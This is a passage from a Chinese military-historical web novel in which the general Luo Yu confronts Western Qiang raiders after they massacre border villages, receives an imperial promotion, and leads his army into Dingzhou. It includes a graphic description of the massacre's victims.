打土豪分田地,并不是要剥夺你们所有的家产,而是让你们把以前强占的土地都交出来,只要你们交出来,依旧可以在阙州做生意,算是本将军网开一面,以前的事既往不咎。”
众人目光一亮,听起来还行啊,只要能保住性命,交出一些田产无伤大雅。以前想让他们吃亏难如登天,但现在刀都快架到脖子上了,谁还想着赚钱?
“你们只知道我会打土豪,分田地,难道不知道本将军一向重视提振商业吗?”
洛羽的语气转而变得柔和:
“都是做生意的,你们大可以从官作司进货,购买酒水、棉布卖往各地,你们都有各自的销售渠道,很容易就能把货卖出去,应该知道这其中的利润有多大。
有银子大家一起挣,何乐而不为?”
这下商贾们全都激动了,官作司的酒水、棉布都是一等一的好货,利润极大,只要正能贩卖这些货物,一定能挣钱!
“该说的话我都说完了。”
洛羽漫不经心的端起茶碗抿了一口:
“是逃命还是合作,你们自己选!”
先是一阵沉默,然后陈正最先开口:
“草民愿意交出土地,尽力配合官府!”
“我们家也交!一亩地不少全都还给百姓!”
“很好。”
望着这些不断高呼的商贾,洛羽微微一笑:
“那就各自回家吧,记住你们说的话,谁要是敢私藏土地,下次请你们来的就是刀子了!”
一根萝卜加个大棒,所有人都屏气凝神,小心翼翼的退了出去。
梅雪崖这才走上前来:
“啧啧,还是将军的话管用啊,你看这些人吓得。”
“哈哈,你是文人,对付这些老狐狸的经验少。”
洛羽轻声道:
“不过你当初说的很对,我们不可能抄没所有商贾的家产,想要治理好阙州,本地商贾的支持很重要,没有他们也就不会有繁荣的阙州。”
“是啊,阙州需要这些商户,否则境内商业就会成为一潭死水。”
其实洛羽和梅雪崖一直以来都主张振兴商业,这也是没有直接杀了富商的原因。
“将军,将军!”
掌柜们鱼贯而出,萧少游的急喝声随之响起:
“出事了!”
“怎么了?”
“西羌出兵,游骑深入境内,连屠十几个庄子!百姓死伤无数!”
第184章这是我边军之耻!
鲁家村,靠近边关的普通村落,距离云阳关大约七八十里。
滚滚黑烟飘扬在半空,几十间茅草屋已经被大火烧成了一片废墟,几家地主的砖墙坍了大半,焦黑的断木横斜支着,像被拗断的肋骨。
风卷着灰烬打旋,时而扬起一片未烧尽的纸屑,给整个天空都蒙上了一层雾霾。
一支骑队停马村口,眼前的景象让洛羽等人瞳孔皱缩,全场鸦雀无声。
听闻羌兵入境**的消息后他们就立刻赶赴边关,看一看那些惨遭**的村落,比想象中的还要凄惨。
众人迈着僵硬的双腿走进村落,四周一片狼藉,断壁残垣间横七竖八的倒着尸体,像被随手丢弃的破布偶:
一具妇人的尸身仰躺在井台边,衣襟大敞,乳房已经被弯刀割去,惨白的腹部凝着紫黑的血痂,双腿以不自然的角度扭曲着,中间还插着一截断枪,十指深深抠进泥土。
她空洞的眼睛望着天,嘴角还挂着干涸的血沫。
几个孩童蜷缩在烧焦的墙根下,早已没了呼吸,最小的那个紧紧搂着布娃娃,半边脸颊已被烧得焦黑。不远处,一个老汉趴伏在门槛上,后脑勺被砸得凹陷,黏稠的血浆一直蜿蜒到台阶下的泥坑里,混着碎骨和脑浆。
村口的枯树下,三名年轻女子赤条条地挂在风中,白皙的身姿就风中晃啊晃,脖颈缠着麻绳,早已将皮肤勒得一片青紫。
风掠过废墟,裹着腥臭与焦糊味。一只野狗在尸堆间嗅闻,突然叼起半截发青的小臂,咔哧咔哧地嚼起来。
惨绝人寰!不忍直视!
“怎么会这样。”
洛羽咬牙切齿,拳头攥紧:
“为什么会这样!云阳关不是没有战事吗,这些该死的羌贼到底是怎么入境的!”
一开始接到消息的时候他们还以为是云阳关被攻破了,但云阳关固若鸡汤,陆老将军连一名羌兵的影子都没看见。
萧少游嗓音低沉:
“刚刚核实了消息,西羌九皇子耶律乌戈,率三万精兵侵犯陇西,没有攻打阙州而是直接进攻定州。定州寒山关主将疏于防备,只守了一夜便被攻破城关。
这些羌兵不是从云阳关入境的,而是从寒山关一路穿梭山林深入我阙州境内,**百姓。”
“报复,这是赤裸裸的报复!”
韩朔面色铁青:
“咱们连杀西羌两员大将,他们定然怀恨在心,那个什么九皇子耶律乌戈没本事从云阳关入境,只能先打定州,攻入定州之后再**我阙州百姓。
沙场之上,本该是军人之间的对决,他们却牵连无辜百姓。
一群嗜血的恶魔!”
被**的村子足有十几座,难以想象当屠刀举起时这些百姓该是何等的绝望,难以想象这些妇女被**时何等的痛不欲生,甚至连孩童都没有放过,羌贼所过之处老少不留。
如此凄惨的景象多年来在陇西三州持续上演,这就是老百姓苦难的根源。
“呜哇哇!”
死寂的场面下陡然传出一阵婴儿的啼哭,众人心头一颤,目光四顾,哭声好像是从一口枯井下传出的。小伍急急忙忙走过去查看,还真抱出了一名襁褓中的婴儿,哭声不绝。应该是羌兵来袭时父母将其藏于了井中,这才躲过一劫。
“乖,不哭,不哭了。”
洛羽抱着婴儿,晃动着胳膊,尽可能用和善的表情去逗他。婴儿很快便停止了啼哭,眨巴着一双炯炯有神的大眼睛,含着手指头嬉笑。
众人目光湿润,多么可爱的孩童啊,可惜刚刚出生就没了爹娘,世上再无亲人。
“都看到了吗?”
“这么多年来羌兵一次次地入境劫掠,抢我钱财,杀我百姓,以前我们只是普通百姓,管不着也无力去管,但现在我们是军人,是守卫阙州的军人!”
洛羽将婴儿交给小伍,红着眼喝道:
“当初建城苍岐的时候我们就说过,要保护阙州百姓再不受羌兵袭扰,让他们安居乐业,家人团圆。可现在呢!我们看到的是残垣断壁、尸骨累累!
羌兵这一巴掌狠狠扇在了我们的脸上,是我们的耻辱!
我们是边军,何为边军?
保境安民,定边护国!”
所有人面色羞红,没错,这是边军的耻辱!任由羌兵肆无忌惮地**百姓就是他们的耻辱,挡不住羌兵他们还配称之为军人吗?
一股滔天杀意从所有人心中涌出。
“那几支羌兵游骑呢,找到了吗!”
“游**手截杀了两队,剩下的全逃走了。”
洛羽怒目圆睁:
“告诉游**手,从
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现在起巡视边境,不得放一名羌兵入境,再发生这种事,各旗百户自己拎着人头来谢罪!
召集众将,备战!”
韩朔犹豫着问道:“羌兵毕竟是从定州入境的,没有旨意,咱们直接插手定州战事不妥吧?”
“不需要旨意!”
洛羽手指满地死尸,咬牙切齿:
“这就是号角!战争已经开始了!”
“动员全军,立刻!”
“诺!”
众将怒声嘶吼,同时还有一阵急促的马蹄声传入耳畔。
梅雪崖火急火燎地冲了过来,当看到满地死尸的场面时一个踉跄,如遭雷击,差点栽**背。文人出身的他何曾见过如此惨烈的景象,当场就哭红了眼。
“好了,先别哭。”
洛羽强压住心中躁动:
“你怎么不在天阙城待着,有事?”
梅雪崖屏住呼吸,嗓音颤抖:
“朝廷的圣旨到了,请将军回苍岐接旨。”
……
苍岐城,定边将军府
以洛羽为首的一众文武全都跪在地上,前来传旨的太监是老熟人,司礼监冯德全。
上次就是此人千里迢迢赶赴边关,用一道加封正四品定边将军的圣旨止住了一场战事,否则当时洛羽就得和李家开战。
众人目光犹疑,毕竟李松年乃是阙州主官,他们就这么灭了李家,朝廷会不会圣旨降罪?虽说这个世道拳头为王,但谁也不想就这么得罪朝廷。
冯德全缓缓摊开诏书,朗声高喝:
奉天承运,皇帝诏曰!
朕闻乾坤正道,赏罚攸彰;社稷承祧,忠奸必辨。
兹有陇西李氏父子,世受国恩,本宜砥节砺行,以报朝廷。难料豺狼成性,蛇蝎为心,欺天罔地,虐民敛财。擅刑杀以立威,僭律法而自恣。致使闾阎凋敝,童叟吞声。恶贯既盈,神人共愤!
定边将军洛羽,素秉忠贞,夙怀义勇。睹黎元之倒悬,奋雷霆之威怒。率虎贲以涤奸,挥霜刃而靖难。举义旗,伐无道,拯生民于水火,振纲纪于颓堕。
今敕刑部悉录李氏罪状,昭告陇西。其族一应人等,并付东市,以正典刑。
洛将军忠勤体国,劳苦功高,特赏锦缎千匹、黄金千两、食邑千户。
加正三品安西将军!
持节阙州!
第185章将军有贵人相助啊
“呵呵,以后不能叫定边将军了,得叫安西将军。”
冯德全靠在椅背上,两鬓的白发自然下垂,轻笑道:
“十九岁的正三品武将,我大乾国开国数百年,将军当属独一份。上一次见面杂家就觉得您前途不可限量,没想到眨眼间又连升两阶,持节阙州,如此快的升官速度当真让老奴汗颜。
佩服佩服。”
此前已经相熟,这位司礼监的老太监言辞间颇为熟络。
“不敢当,晚辈不过是运气好罢了。只不过这次又劳烦公公来一趟西境,车马劳顿,在下已经备了一份厚礼,公公例行时记得带上。”
洛羽对其的态度还算恭敬,毕竟冯德全是自己唯一认识的宫里人,鬼知道这个老太监在皇宫有多大能量,能结交就结交,肯定错不了。
“哈哈哈,洛将军真是太客气了,那杂家就却之不恭了。”
冯德全脸上挂满了笑容,然后像是突然想起来什么,一脸关切:
“上次洛将军突然晕倒是怎么回事?当时宫里有事,杂家走得匆忙,还望将军见谅。”
“没事没事,武人嘛,战场厮杀多多少少有些旧伤,如今已然恢复,有劳公公挂念。”
洛羽不着痕迹地把话题岔了开去,不想让冯德全联想到武城梁的事,这家伙可是老狐狸,鬼精得很。
“那就好那就好,将军可是我大乾国的栋梁之材啊,千万注意身体。”
冯德全轻咳了几声:
“圣旨嘛自然是摆在明面上的,还有几句话要私底下跟将军交代。”
洛羽心领神会地屏退下人,关紧屋门,空荡荡的屋子里只剩他们两人。
冯德全这才开口道:
“洛将军啊,你我早已相熟,杂家就开门见山了。您这次不经朝廷同意就灭了李家,杀了阙州持节令,说好听点是替天行道,说难听点可就有点大不敬了。朝中许多重臣对你极为不满,**的奏折一道接着一道,陛下为此可是发了几通火的。
我知道你与李家有怨,但此事做得还是鲁莽了些。”
陛下发火?洛羽心头微颤:
“既然朝中有这么多人上奏**,怎么还是下了加官进爵的圣旨呢?”
“呵呵。”
冯德全的眼眸中闪过一抹精光:“自然是有贵人相助。”
又是贵人相助?
洛羽眉宇微皱,好奇得很,上一次加封正四品将军时就说有贵人相助,当时他猜测是自己的便宜老爹,但他找常氏问过,武家并未出手相助,再加上武城梁战死沙场,这次就更不可能是武家了。
如果不是武家,还有谁会帮自己?满朝文武自己可是一个都不认识。
“公公可否直言,到底是何人助我?”
“哎,这个可不能说。”
冯德全神秘兮兮地说道:“杂家只能说,有此贵人,将军日后的前途不可限量!”
洛羽的目光越发好奇,但冯德全不想讲,他也不好多问。
冯德全轻声道:
“除了刚才那道封官圣旨,还有一道旨意,将军不用下跪接旨,听着便好。”
还有圣旨?洛羽愕然,恭恭敬敬地弯腰作揖:
“公公请讲。”
“西羌九皇子耶律乌戈兴兵三万犯我边境,当为近年来西境规模最大的战事,定州寒山关已经被攻破,游骑**百姓,为祸不浅。
陛下有旨,令将军您率兵御敌,三州这次会共同派兵迎战,给君家王家的旨意也已经在路上了,所有兵马皆归你节制!”
“我?”
洛羽愕然,比起君家王家自己顶多算个后起之秀,怎么莫名其妙的当了主帅?
“没错,就是你!”
冯德全沉声道:“跟将军说一句私底下的话,此事对您来讲是一个天大的机遇,但机遇中也藏着风险。”
“何意?还请公公明示。”
“所谓机遇,将军乃领兵帅才,此次若是能大胜羌敌,一来能助我边军之威,二来也能让陛下赏识、群臣拜伏,日后平步青云不在话下;
但若是打输了,那可就危险了。
背后的贵人力排众议,将将军扶上阙州持节令的位置,还让你当了统兵主帅。如果输了,不仅你会被满朝文武**,就连那位贵人都会成为众矢之的,可以说再无升官的可能。”
冯德全语重心长地提醒道:
“洛将军,你我有交情杂家才愿意讲这么多,此战您可不能丢人啊。”
“明白了。”
洛羽恍然大悟,感情这一战决定了自己的前途!
冯德全起身行礼:
“杂家言尽于此,剩下的全靠将军自己了,老奴在京城等着将军的捷报,日后飞黄腾达,可千万别忘了杂家。”
“公公说笑了,晚辈可是个记恩的人。”
洛羽客客气气的弯下腰肢:
“公公慢走!”
一直等到冯德全离开将军府,洛羽才从偏屋来到了正厅,萧少游、梅雪崖这些阙州文武都侯在
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这里,他们知道冯德全私底下一定交代了什么。
“怎么说,咱们杀了李松年难道惹麻烦了?”
洛羽凝重的表情让萧少游心头微紧:
“李家父子作恶多端,本就该杀!朝廷该不会连这点是非都不分吧。”
“不,与此事无关。”
洛羽将另一道旨意说了出来,众人都愣了一下:
“您当主帅?还要节制另外两家的兵马?”
“没错,都说说吧,有什么看法。”
萧少游最先开口道:
“从旨意上来看,此次抗击羌贼,朝廷不会再派一兵一卒了,顶多供应些钱粮军饷,得靠咱们三州自己出兵御敌。
就任主帅,听起来威风八面,却是最吃亏的一方。
打赢了,不一定有重赏,但是打输了,责任全都在我们。
以君家王家这些大世家的性子,保存实力才是最要紧的,绝无可能全力迎战,也就是说咱们阙州反倒成了迎敌的主力。”
“嗯?这么说咱们不是被当枪使了?”
蒙虎一下子就听懂了萧少游的意思,这份差事可谈不上美差啊。
“算是吧。”
萧少游苦笑一声:“君家王家可以保存实力,但咱们不行啊,要想打赢,就得尽全力。”
“那怎么办?还打不打?”
所有人都看向了洛羽,这个决定只能由他来下。
洛羽环视全场,平静的说道:
“听起来我们是被当枪使了,但你们忘了那些被**的村民吗?保家卫国,护卫山河本就是我们该做的事,此战无关朝廷圣旨,因为陇西是我们的家,我们不守,没人会替我们去守。
今日定州遇险,我们袖手旁观,那他日阙州遇险,别人也不会帮我们。三州本是一体,如今却只顾私利,这种局面该结束了。
在我看来,这次反而是天大的机遇。
打赢了,我们可以俘获三州民心,日后将大有作为!”
洛羽的眼神无比坚决,阙州入手,难道自己就此止步吗?不,就像常氏所言,要想替武家平冤昭雪,自身的实力必须强大,强大到令所有敌人畏惧!
一个阙州不够,他要整个陇西!
俘获三州民心就是第一步!
在场众人已经听懂了洛羽的意思,战!
一个个昂首挺胸,并未有任何异议,自从跟了洛羽,从未有人想过退缩。
洛羽冷声喝道:
“全军集结!十天后,发兵定州!”
第186章不破羌贼,誓不回转!
幽静的房屋内,沈漓正弯着腰收拾行囊,大包小包塞满了好几个包袱,忙得脚不离地。
“嘎吱~”
房门突然推开,洛羽抬头进来就是一愣:
“你怎么又在我这?”
说来也是奇怪,沈漓老喜欢往洛羽的房间里钻,尤其是洛羽每次领兵外出,沈漓一定会替他多收拾几件衣服,回来以后还要缝缝补补,细心得很。洛羽总是说男女授受不亲,大半夜的往自己房里钻不好,可沈漓就是不听,依旧我行我素。
有时候萧少游他们会打趣,说有个女人帮你顾家挺好的,弄得洛羽很是尴尬。
“这不是又要出征了吗。”
沈漓的额头上都忙出了些许汗水:“喏,这些衣服肯定够你穿了,没事多换换,如今天热,闷久了都臭了……”
沈漓唠唠叨叨地叮嘱着,洛羽翻了个白眼:
“的的的,这些话你都说过多少遍了,你不腻我都腻了。我是去打仗,又不是踏青,换洗衣服有什么好主意的,能穿不就行了。
你个小丫头,管好苍岐城就行,我这不用你担心。”
“什么小丫头!”
沈漓挥舞着小拳头:“我还比你大两岁呢!”
洛羽愣了一下,沈漓确实比他大两岁,但不知道为什么自己总拿她当小丫头看,关键是这个丫头很坚强也很努力,从当初那个挥舞小破斧的毛贼摇身一变成了苍岐城的顶梁柱。
从酿酒到织布、从建城到入主天阙城,洛羽的每一步都有她的身影存在。
“行吧,你比我大行了吧?”
洛羽莫名地嬉笑一声:“叫你一声姐姐?”
“姐姐?”
沈漓的脸颊莫名一红,嗔怒一声:
“闭嘴!”
“哈哈哈。”
洛羽笑得前仰后合,沈漓却默默开口道:
“明日就要出征了,听说这次西羌有皇子坐镇,兵力雄壮,战事会比以往任何一次都要凶险。”
“是吗?凶险吗?我不觉得。”
洛羽浑然不以为意:“跟他们打就完了。”
沈漓喃喃道:
“第一次云阳关之战,我看着你带三百骑出城,负伤而归;第二次血战云阳关,你又以身犯险,董大哥死了、陈大桩也死了;这一次去定州,不知道又要死多少人。
你如今是阙州持节令了,千万记得,少去前线。”
“怕啥。”
洛羽强行挤出一抹笑容:
“能杀我的人还没生出来呢,没事的。再说了,一死又有何妨?战争嘛,总会死人的。”
“你当然不能死!你死了我怎么办!”
沈漓下意识地脱口而出,旋即意识到有哪里不对劲,脸颊泛起一片红晕。
“简单啊。”
洛羽笑道:“我死了你还管着苍岐,找个好男子嫁了。”
“不要!”沈漓瞪着眼:“我只想嫁一个人!”
“谁啊?”
洛羽好奇道:“你想嫁谁?告诉我,我去帮你提亲!”
“你!你个混蛋!”
“让你去死好了!”
沈漓气呼呼地一甩门框就跑走了,临走前还丢下一句:
“天底下就你最没良心!记得活着回来,我还要骂你!”
“砰!”
随着门框重重合上,洛羽脸上的笑容缓缓消失,取而代之的是一抹哀叹:
“唉。”
“自古多情伤离别啊。”
洛羽并不知道,沈漓跑出几步之后就回头看着灯火通明的小房间,失神许久,眼眶泛红:
“我在家中等你回来。”
……
日初清晨,初秋的微风席卷大地,天地间的燥热消失不见,取而代之的是清爽痛快。
苍岐城外黑甲茫茫,玄旗高举,骑步军卒泾渭分明,长枪弯刀寒光闪闪,肃杀之气凛然。
大军以营为单位,分成一座座小阵,从北向南列阵关前。
从与李家开战至今,洛家军一直是以战养战,此次为了出征定州,各营兵马皆扩充至两千,兵力比此前多了一倍不止。
不管是苍岐城头还是远处山道,数以千计的老百姓翘首以望,目光怅然,甚至有的人眼中还含着泪水,这已经是他们第二次送大军出征了,此战将要比以往更为凶险。
但全军上下皆面色悍然,毫无畏惧之意,一场场战事的磨炼下,洛家军早已成为一支铁血雄师。
“安西将军到!”
“擂鼓!”
“咚咚咚!”
鼓声震天,回荡不绝。
洛羽带着亲兵从城内疾驰而出,马蹄不停,检阅全军,一道道怒吼声接连响起:
“阙州第一营,校尉蒙虎!”
“阙州第二营,校尉曹殇!”
“阙州第三营,校尉吕青云!”
“阙州第四营,校尉余寒弓!”
“阙州第五营,校尉霍连城!”
“阙州第六营,校尉徐松!”
“阙州第七营,校尉石敢!”
七道怒吼声先后响彻全城,一道道炙热的目光随着洛羽的战马不断移动。
七营检阅完毕,洛羽策马握缰,横于军阵前方,麾下一千亲兵同时勒住缰绳,轰然停马。小伍手掌一扬,一面硕大的“洛”字帅旗迎风高举,猎猎作响,朗声怒喝:
“亲兵营校尉,岳伍!”
军中所有人都习惯于叫他小伍,仿佛他没有姓,但他有名有姓!当初那个在鸡鸣寨吓得尿裤子的新兵今日当着全军上下喊出了自己的名字:
岳伍!
现场七营精锐,还有已经去了云阳关的第八营陆铁山,再加上亲兵营,总计九营。
第一至五营为骑兵营、第六第七营为步兵营,每营两千人,第八营是骑步混合,三千人,亲兵营一千人,总计一万八千兵马,这就是洛羽整合阙州全境后能拿出来的所有精锐。
多年以后,他们被称之为老九营,当数十万黑甲悍卒披坚执锐、横扫七国的时候,很多将校会傲然挺胸,说一句:
“老子可是老九营出来的!”
羡煞无数人。
萧少游与韩朔领兵阵前,朗声高喝:
“参见安西将军!”
“全军行礼!”
“轰!”
全场将士都用一种狂热的目光看向洛羽,是这个人让阙州发生了翻天覆地的变化,是这个人让自己的家人丰衣足食,是这个人带着他们抗击外敌!
在一万八千将士的眼里,洛羽无所不能,是全军上下的魂!
洛羽只觉得豪情冲天,拔刀前举,从头到尾只说了一句话:
“不破羌贼,誓不回转!”
全军怒吼,数不清的刀锋举起:
“不破羌贼,誓不回转!”
“出征!”
第187章初入定州遇溃兵
“吁吁~”
大批骑军顺着官道奔驰,马蹄踩得尘土飞扬,然后停在了一个岔路口,洛羽和蒙虎两人停马在最前方。
徐徐秋风吹拂,倍感清凉,但自从入了定州之后大家就感觉到一股压抑的气氛,许多百姓都在拖家带口的逃难,看来前线战局不容乐观。
一万八千军卒出征,总不能一窝蜂地涌入定州,所以洛羽的亲兵营和蒙虎的第一营就充当前锋,萧少游与韩硕指挥大军、携带粮草辎重徐徐推进。苍岐距离定州并不算远,只需要绕道凤川,再转道向北便可进入定州境内。
为了提前了解军情,洛羽和蒙虎选了五百精骑先行一步,岳伍和许韦两人带兵跟在身后二十里的位置,遇到险情也能随时支援。
蒙虎从马背上踮起身子朝远处望了望:
“进入定州境内应该有七八十里了,距离寒山关还剩百里的路程。君家王家的兵马也不知道到哪儿了,到现在没个准信。”
“一头雾水啊。”
洛羽无奈地摇了摇头,大军进入定州之后就成了睁眼瞎,羌兵占据寒山关下一步做了什么一概不知。君家、王家的兵马在哪他也不知道,他这个大军主帅甚至不清楚己方军营的位置。
这就是三州各自为政的缺点,连最起码的军情通报都做不到。
“都给我打起点精神,咱们随时会遭遇羌兵!”
“驾!”
“哒哒哒!”
话音刚落远处就传来了一阵急促的马蹄声,看马背上挂着的弓弩就知道是前出侦查的游弩手。
游弩手听起来只是斥候,但在洛羽和萧少游看来游弩手十分重要,不仅需要提前侦查军情,还需要防患危机,必要时还得替大军断后。所以各营游弩手皆由军中精锐组成,出任务不配长枪,只带弯刀和弓弩,便于行动。
“将军!”
肤色黝黑的中年大汉一抱拳:
“前方发现了一伙溃兵,正在向此地逃来,好像是君家的兵马。”
“溃兵?身后有羌人的追兵?”
“是,但我们只看到了一队羌兵斥候,顺手就宰了,更后方应该还有大队羌骑。”
“知道了。”
蒙虎摆了摆手:“全军备战!”
“轰!”
五百骑军持枪策马,杀气腾腾。
果然,没一会儿的功夫官道上就出现了一群丢盔弃甲的君家军卒,撒丫子狂奔,那表情就像是见了鬼一样。
“什么玩意?”
蒙虎眉头紧皱:“哪有一点军卒的样子。”
瞅着溃兵一路狂奔到眼前,蒙虎冷喝一声:
“都给我站住!”
一名溃兵赶忙停下脚步,小心翼翼地问道:“军,军爷,敢问您是?”
“我们是阙州兵马,你们跑什么呢?”
“羌兵,身后有羌兵!”满脸慌乱的溃兵急赤白脸的说道:“军爷,你们也快跑吧,这群羌兵杀人不眨眼啊。”
足足有上百号残兵败将从身边一涌而过,手中早就没了兵器,一个个只恨爹妈少生了两条腿,他们看到骑兵的时候还乐了一下,心想这支兵马怎么着也能替自己拦一栏羌兵。
蒙虎怒喝一声:
“妈的,都给老子站住,不准跑!”
“拦下他们!”
“蹭蹭蹭!”
数百骑兵瞬间举起长枪,杀气腾腾地指向这群溃兵。溃兵被吓得一动都不翻动,手足无措,一名百户模样的将校急了:
“这位将军,您干嘛拦着我们,按理说咱们是定州军卒,不归你管。”
“我乃安西将军洛羽。”
洛羽策马向前,面无表情地喝道:“依朝廷圣旨,从现在起陇西三州抵御羌兵的所有军卒归我节制!
我能管你们吗?”
“洛,洛将军。”
领头的百户哆嗦了一下,后脑勺冷汗直流,哪敢顶嘴啊。陇西三州谁不知道他是新任的阙州持节令,捏死自己就像捏死一只蚂蚁。
“轰隆隆!”
“呦呵呵!”
“喔喔喔!”
远处传来熟悉的鬼叫声,一队三四百人的羌兵游骑真的追了过来,一路上疯狂地挥舞弯刀,那些逃得慢的君家兵丁几乎都是被一刀砍去脑袋,下手极为凶残。
羌兵也发现了这支骑兵,眼中凶光大盛,杀气腾腾地扑了过来,在他们眼里蒙虎就是送上门的军功啊!
百户吓得脸色苍白,双腿都在打颤:
“洛,洛将军,咱们,咱们还是快跑吧,再不跑就没命了。”
“跑什么!”
洛羽瞪了他们一眼:“看看你们失魂落魄的样子,哪还像是个军人!”
“蒙虎!”
“明白!”
蒙虎狞笑一声,不退反进,手掌一挥,麾下五百悍卒如潮水一般涌了出去。
“完了完了,今天得死在这了。”
君家的溃兵一脸沮丧与绝望,本以为撞见一支骑兵能护着他们逃命呢,结果这群家伙竟然选择了主动迎战,那些羌兵都是杀人不眨眼的恶魔啊。
一路追来的羌兵见这队人不仅没跑,竟然还敢反击,乐得合不拢嘴,前冲速度不断提高,领头的都尉狞笑一声:
“送上门来的军功啊,哈哈!”
“兄弟们给我杀!”
“喝!”
话音未落,蒙虎的长枪已经飘然而至,羌兵都尉也顺势出枪。
“铛!”
看似平平无奇的一枪,等撞上蒙虎的枪杆时他的手臂陡然一颤,强劲的力道直接震得他手臂脱臼,然后厚重的枪杆就在他绝望的眼神中狠狠砸在了他的胸口上。
“砰!”
“噗嗤!”
死尸像断了线的风筝砰地往地上一砸,摔成一团肉泥。
所有羌兵都愣住了,茫然无措,怎么一枪就被砸死了?五百精骑紧随其后,凶悍凿阵,等交手的时候羌兵才反应过来自己面对的是何等可怕的对手。
一杆杆长矛袭来,又快又准,杀意凛然,枪尖不停地洞穿羌兵的胸膛,道道血光飞溅,嚣张的嘶吼声全都变成了凄厉的哀嚎。
高兴得太早了。
仅仅一轮冲阵罢了,三四百羌骑就被杀得溃不成军,幸存的军卒哪还有抵抗的心思,掉头就跑,蒙虎往后驱赶了三里地才策马回转,麾下骑兵个个呼吸悠长、面不改色,一场小小的接触战罢了,丝毫没放在眼里。
君家牙兵全都愣在了当场,仗还能这么打?阙州来的兵马也太强了吧!
洛羽冷声问道:
“说说吧,你们是从哪溃退下来的。”
君家百户立马点头哈腰:
“回将军话,小的们是从前锋营军卒,昨夜前锋营被羌兵偷袭,主将战死,大军已然溃散。”
“又打输了?”
洛羽眉头微皱:“你们的中军大帐在哪?领兵的是何人?”
“中军大帐在此的东北方三十里处,大公子和二公子都在军中。”
“噢?都在?”
洛羽一挥缰绳:
“带路!”
第188章战书到了
平原上立着一座大营,密密麻麻的军帐星罗棋布,游骑四出,一面面君字、王字旗高高飘扬。
时而有一队队吃了败仗的军卒撤回营中,丢盔弃甲、面色沮丧,一股低迷的氛围弥漫在营地中。
“轰隆隆!”
马蹄声骤起,大批黑甲骑军跃出地平线,轻装疾进。不速之客的出现令营中一片混乱,有军卒慌乱地喝道:
“敌袭,敌袭!准备迎战!”
“弓箭手呢,快上营墙,准备防御!”
嘈杂声不断,手忙脚乱的守卒正准备关闭营门,一道轻喝声就响了起来:
“慌什么,这是阙州军,自己人!”
君墨竹走出了营门,独自候着骑军到来,营中的骚乱令他很是不满。
“咦,洛字军旗,还真是阙州军。”
“吓死老子,还以为是羌兵又打过来了。”
被羌兵打怕了的定州军总算看清了来骑全都打着洛字旗号,这才松了口气。旋即一个个踮起脚尖好奇地张望着,近期阙州易主的消息可是传遍了陇西三州,所有人都对新任阙州持节令极为好奇,更听说洛家军骁勇善战,屡败羌兵,谁不想见一见所谓的精锐长什么模样。
“轰隆隆~”
营门口围满了看热闹的两州军卒,轰鸣的马蹄声踏得人心颤动,披甲持枪,这模样真帅啊。
“骑军停马!”
“轰!”
整整三千骑同时勒住缰绳,所有人皆驻马而立,阵中鸦雀无声,只有军旗在猎猎作响。一道道凌厉的目光扫视四周,不需要任何动作,只需往这里一杵就有一股杀气隐隐弥漫。
“咕噜”
两州军卒不约而同地咽了口唾沫,这气势真是唬人,甚至比羌兵带来的压迫感还要可怕。
“你总算来了。”
君墨竹迎了上去:“我还担心你找不到大营的位置呢。”
洛羽略有些不满:
“费了我半天劲才找到,怎么着也得派人把大营的驻地告诉我吧?再怎么说我也是领军主帅,连自己的营地都找不到岂不是贻笑大方?”
若不是遇到那队溃兵,洛羽都快在定州境内迷路了。
“不是我不想告诉你,实在是一直在吃败仗,军营隔三岔五就得换个地方,根本就给不了你准信。若不是你到了,只怕过两天又得拔营后撤。”
两人言辞间很是熟络,这与洛羽升官无关,更像是一种朋友间的随意,虽说君墨竹一开始给自己制造了不小的麻烦,但后来也屡屡出手相助,洛羽很清楚君墨竹对自己并无恶意,要招揽你就明说,明着跟你斗,比李玄冰那些人坦率得多。
“行了,入营吧。”
君墨竹做出个请的手势:“大哥和王兄都到了,在等你。”
“走吧。”
两人并肩而行,三千骑兵自有人去安排驻地。
营中的景象让洛羽微微皱眉,士卒们三三两两地蹲在地上,毫无生气,压根就见不到有人在操练,还有不少伤兵拄着木棍艰难地挪动,一股颓败之象。
“君兄,我说句心里话,这样子成何体统?”
洛羽无奈:“这样的军卒怎么可能是羌兵的对手?”
君墨竹苦笑一声:
“从寒山关破之后,我们君家出动了近万兵马御敌,连战连败,一路退到此地,士卒折损过半,营中哪儿还会有什么士气?
这次领兵的九皇子耶律乌戈据说用兵如神,很不好对付。我君家又没什么将才,这仗打得糟心。”
洛羽了然,怪不得以前君墨竹一心要拉拢自己,合着定州军如此疲软,看起来还不如李家。唯一有头脑的君墨竹还因为君天啸的原因不好染指兵权,这个二公子当得真是憋屈。
刚刚步入帅帐,王彦之爽朗的笑声就传入了耳中:
“洛兄总算是到了,咱们三可是苦等多时啊。不对,现在该叫安西将军,阙州持节令了,哈哈!
李家这个卑鄙小人,竟然擅自撕毁盟约,干出滔天恶行,洛兄为民除害,我等敬佩!”
王彦之很客气的作揖行礼,开口就喷了李家一顿,君天啸的态度就一般,只是随意的抱了个拳。
你陇西四公子再有傲气又怎么样,若论官位,洛羽现在可是四人之首,该行礼还是得行礼。
洛羽回了个礼:
“若不是半路遇到溃兵,我还真找不到大营的位置,战局看起来似乎不太妙啊。”
“从寒山关到此地近百里疆域已经全部落入羌兵之手。”
君天啸直截了当的说道:
“若是再败下去,咱们定州就得沦为一片废土。”
“自然不会再败,洛兄这不是来了吗?”
王彦之轻笑道:
“谁不知道洛兄此前连杀完颜康、完颜昌两员大将,乃是羌人的克星,战局必定会扭转!”
他的神情比君家两兄弟轻松很多,毕竟丢的是定州地盘,而不是他并州。
“不敢当,骄兵必败这个道理我还是懂得。”
洛羽好奇地问道:
“我想知道羌兵现在在哪?”
在来大营之前随军游弩手已经外出探过,方圆十里之内并未看见羌兵的营寨,按理说两军不应该结寨对峙吗?
君墨竹默然解释道:
“羌兵主力集中在寒山关周边,分兵多路袭扰内地,一边屠杀村落一边掳掠百姓,像是要带回草原做奴隶,这次遭殃的百姓只怕数以万计啊。”
“该死的羌贼!”
君天啸冷着脸攥紧拳头:“欺我太甚!”
“君兄先息怒,百姓蒙难,我们这些当父母官的心中自然不好受。”
王彦之沉声道:
“为今之计还是该先稳住战局,稳扎稳打,一步步向前推进,继而收复寒山关,等恢复了边防再和羌兵决战于关外。”
洛羽诧异地挑了下眉头,这个王彦之倒是思维缜密啊,所说之策与自己不谋而合,年纪轻轻就代领并州持节令,确实有两把刷子。
“洛将军,此次我王家出兵五千,君家收容溃兵之后亦有五千兵马,奉朝廷圣旨,从现在起就全归你指挥了。”
王彦之面色凝重的说道:
